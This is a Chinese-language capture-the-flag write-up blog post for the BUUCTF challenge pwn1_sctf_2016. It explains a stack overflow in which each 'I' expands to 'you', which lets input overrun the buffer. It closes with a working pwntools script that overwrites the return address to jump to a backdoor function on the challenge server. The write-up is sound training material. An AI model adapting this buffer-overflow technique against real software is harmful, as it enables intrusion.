ReStr0
Venom战队队员 Chamd5安全团队
ReStr0-Blog

BUUCTF pwn1_sctf_2016

查看保护开启状态

https://blog.restro.cn/wp-content/uploads/2021/08/image-16.png

这是一个32位的小程序 ,用32位IDA打开

查看IDA伪代码

入眼看见一个后门函数

https://blog.restro.cn/wp-content/uploads/2021/08/image-11.png

https://blog.restro.cn/wp-content/uploads/2021/08/image-10.png

审计代码返现存在栈溢出漏洞点

发现只让输入32个字符,但是缓冲区给的是3C,没办法直接栈溢出,但是通过审计发现如果存在“I”则替换为”you”再进行写入,所以我们可以先构建20个“I”让他转换位”you“填充完缓存区的3C,然后填充0x4覆盖stack frame point 然后再写入我们需要的返回地址,达到绕过,并利用后门函数

https://blog.restro.cn/wp-content/uploads/2021/08/image-12.png

EXP

from pwn import *
#p = process("")
p = remote("node4.buuoj.cn","28717")
#context(os="linux", arch="amd", log_level="debug")
#elf = ELF("#")
system_addr = 0x08048F0D       
payload = b'I'*20 + b'b'*0x4+p32(system_addr)
p.sendline(payload)
p.interactive()

发表评论

textsms
account_circle
email

ReStr0-Blog

BUUCTF pwn1_sctf_2016
查看保护开启状态 这是一个32位的小程序 ,用32位IDA打开 查看IDA伪代码 入眼看见一个后门函数 审计代码返现存在栈溢出漏洞点 发现只让输入32个字符,…
扫描二维码继续阅读
2021-08-05